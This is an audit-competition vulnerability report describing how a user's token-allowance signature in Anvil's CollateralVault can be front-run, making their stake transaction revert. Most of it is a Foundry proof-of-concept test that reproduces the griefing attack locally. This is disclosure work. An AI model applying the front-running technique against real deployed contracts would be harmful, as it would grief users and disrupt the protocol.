#36475 [SC-Medium] Token allowance signature can be front-run

Submitted on Nov 3rd 2024 at 23:51:27 UTC by @zhuying for Audit Comp | Anvil

  • Report ID: #36475

  • Report Type: Smart Contract

  • Report severity: Medium

  • Target: https://etherscan.io/address/0xd042C267758eDDf34B481E1F539d637e41db3e5a

  • Impacts:

    • Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)

Description

Brief/Intro

The token allowance signature is required when users want to stake to TimeBasedCollateralPool. However when user initiates the stake tx, anyone can front-run the signature and call `modifyCollateralizableTokenAllowanceWithSignature` function in CollateralVault.sol to let user's nonce increase. And the user's stake tx will revert becauser of invalid signature.

Vulnerability Details

``` function modifyCollateralizableTokenAllowanceWithSignature( address _accountAddress, address _collateralizableContractAddress, address _tokenAddress, int256 _allowanceAdjustment, bytes calldata _signature // @audit-issue signature can be front-run ) external { if (_allowanceAdjustment > 0 && !collateralizableContracts[_collateralizableContractAddress]) { revert ContractNotApprovedByProtocol(_collateralizableContractAddress); }

    _modifyCollateralizableTokenAllowanceWithSignature(
        _accountAddress, _collateralizableContractAddress, _tokenAddress, _allowanceAdjustment, _signature
    );
}

``` The parameter of `modifyCollateralizableTokenAllowanceWithSignature` function is inputted directly. Anyone which knows signature information can call this function to consume signature. The contracts are depolyed to mainnet. If user initiates a stake tx publicly, the tx message is open to anyone. Attacker can front-run stake tx to let user's stake tx revert.

Impact Details

User's token allowance signature is useless if anyone front-runs the signature message.

References

https://github.com/AcronymFoundation/anvil-contracts/blob/1bbe04bb6f1aa1beea0ebf55e1bad67da3aa0f87/contracts/CollateralVault.sol#L294-L311

https://gist.github.com/psych2go/b596434b80f6ae5a9ad444a09bdab9b1

Proof of Concept

Proof of Concept

``` // SPDX-License-Identifier: ISC pragma solidity 0.8.25;

import {Test} from "forge-std/Test.sol"; import {CollateralVault} from "../contracts/CollateralVault.sol"; import {TimeBasedCollateralPool} from "../contracts/TimeBasedCollateralPool.sol"; import {ICollateral} from "../contracts/interfaces/ICollateral.sol";

import {mockERC20} from "./mocks/mockERC20.sol";

contract SignatureFrontrun is Test { error InvalidSignature(address account);

CollateralVault vault;
TimeBasedCollateralPool pool;
mockERC20 token;

address owner = makeAddr("owner");
address claimDestination = makeAddr("claimDestination");
address user = makeAddr("user");
address attacker = makeAddr("attacker");
uint256 privateKey = 0x1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef;
address signer = vm.addr(privateKey);

bytes32 public constant COLLATERALIZABLE_TOKEN_ALLOWANCE_ADJUSTMENT_TYPEHASH = keccak256(
    "CollateralizableTokenAllowanceAdjustment(address collateralizableAddress,address tokenAddress,int256 allowanceAdjustment,uint256 approverNonce)"
);
bytes32 public constant COLLATERALIZABLE_DEPOSIT_APPROVAL_TYPEHASH = keccak256(
    "CollateralizableDepositApproval(address collateralizableAddress,address tokenAddress,uint256 depositAmount,uint256 approverNonce)"
);
bytes32 private constant TYPE_HASH =
    keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");

uint256 per_hour = 3600;
uint256 amount = 1 ether;

function setUp() public {
    // depoly token contract
    token = new mockERC20("Anvil", "ANV");
    CollateralVault.CollateralTokenConfig[] memory config1 = new CollateralVault.CollateralTokenConfig[](1);
    config1[0] = CollateralVault.CollateralTokenConfig({enabled: true, tokenAddress: address(token)});
    vm.startPrank(owner);
    // depoly CollateralVault contract
    vault = new CollateralVault(config1);
    // depoly TBCP contract
    pool = new TimeBasedCollateralPool();
    pool.initialize(ICollateral(vault), per_hour, claimDestination, owner, address(0), address(0), address(0));
    CollateralVault.CollateralizableContractApprovalConfig[] memory config2 =
        new CollateralVault.CollateralizableContractApprovalConfig[](1);
    config2[0] = CollateralVault.CollateralizableContractApprovalConfig({
        collateralizableAddress: address(pool),
        isApproved: true
    });
    vault.upsertCollateralizableContractApprovals(config2);
    vm.stopPrank();
}

function testNormalCase() public {
    // 1.user deposits to signer
    vm.startPrank(user);
    token.mint(user, amount);
    token.approve(address(vault), amount);
    address[] memory tokenAddresses = new address[](1);
    tokenAddresses[0] = address(token);
    uint256[] memory amounts = new uint256[](1);
    amounts[0] = amount;
    vault.depositToAccount(signer, tokenAddresses, amounts);
    vm.stopPrank();
    // 2.signer signs message
    bytes32 messageHash = toTypedDataHash(
        _buildDomainSeparator(),
        keccak256(
            abi.encode(
                COLLATERALIZABLE_TOKEN_ALLOWANCE_ADJUSTMENT_TYPEHASH, address(pool), address(token), 1 ether, 0
            )
        )
    );
    (uint8 v, bytes32 r, bytes32 s) = vm.sign(privateKey, messageHash);
    bytes memory signature = abi.encodePacked(r, s, v);
    // 3.signer calls stake function
    vm.startPrank(signer);
    pool.stake(token, amount, signature);
    vm.stopPrank();
}

function testSignatureFrontrun() public {
    // 1.user deposits to signer
    vm.startPrank(user);
    token.mint(user, amount);
    token.approve(address(vault), amount);
    address[] memory tokenAddresses = new address[](1);
    tokenAddresses[0] = address(token);
    uint256[] memory amounts = new uint256[](1);
    amounts[0] = amount;
    vault.depositToAccount(signer, tokenAddresses, amounts);
    vm.stopPrank();
    // 2.signer signs message
    bytes32 messageHash = toTypedDataHash(
        _buildDomainSeparator(),
        keccak256(
            abi.encode(
                COLLATERALIZABLE_TOKEN_ALLOWANCE_ADJUSTMENT_TYPEHASH, address(pool), address(token), 1 ether, 0
            )
        )
    );
    (uint8 v, bytes32 r, bytes32 s) = vm.sign(privateKey, messageHash);
    bytes memory signature = abi.encodePacked(r, s, v);
    // 3.signer initiates tx
    /////////////////////////////////////////
    //vm.startPrank(signer);/////////////////
    //pool.stake(token, amount, signature);//
    //vm.stopPrank();////////////////////////
    /////////////////////////////////////////
    // 4.attacker front-runs the tx
    vm.startPrank(attacker);
    vault.modifyCollateralizableTokenAllowanceWithSignature(
        signer, address(pool), address(token), int256(amount), signature
    );
    vm.stopPrank();
    // 5.tx reverts
    vm.startPrank(signer);
    vm.expectRevert(abi.encodeWithSelector(InvalidSignature.selector, signer));
    pool.stake(token, amount, signature);
    vm.stopPrank();
}

// helper function for signature testing
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32 digest) {
    assembly ("memory-safe") {
        let ptr := mload(0x40)
        mstore(ptr, hex"1901")
        mstore(add(ptr, 0x02), domainSeparator)
        mstore(add(ptr, 0x22), structHash)
        digest := keccak256(ptr, 0x42)
    }
}

// helper function for signature testing
function _buildDomainSeparator() private view returns (bytes32) {
    string memory name = "CollateralVault";
    string memory version = "1";
    bytes32 _hashedName = keccak256(bytes(name));
    bytes32 _hashedVersion = keccak256(bytes(version));
    return keccak256(abi.encode(TYPE_HASH, _hashedName, _hashedVersion, block.chainid, address(vault)));
}

} ```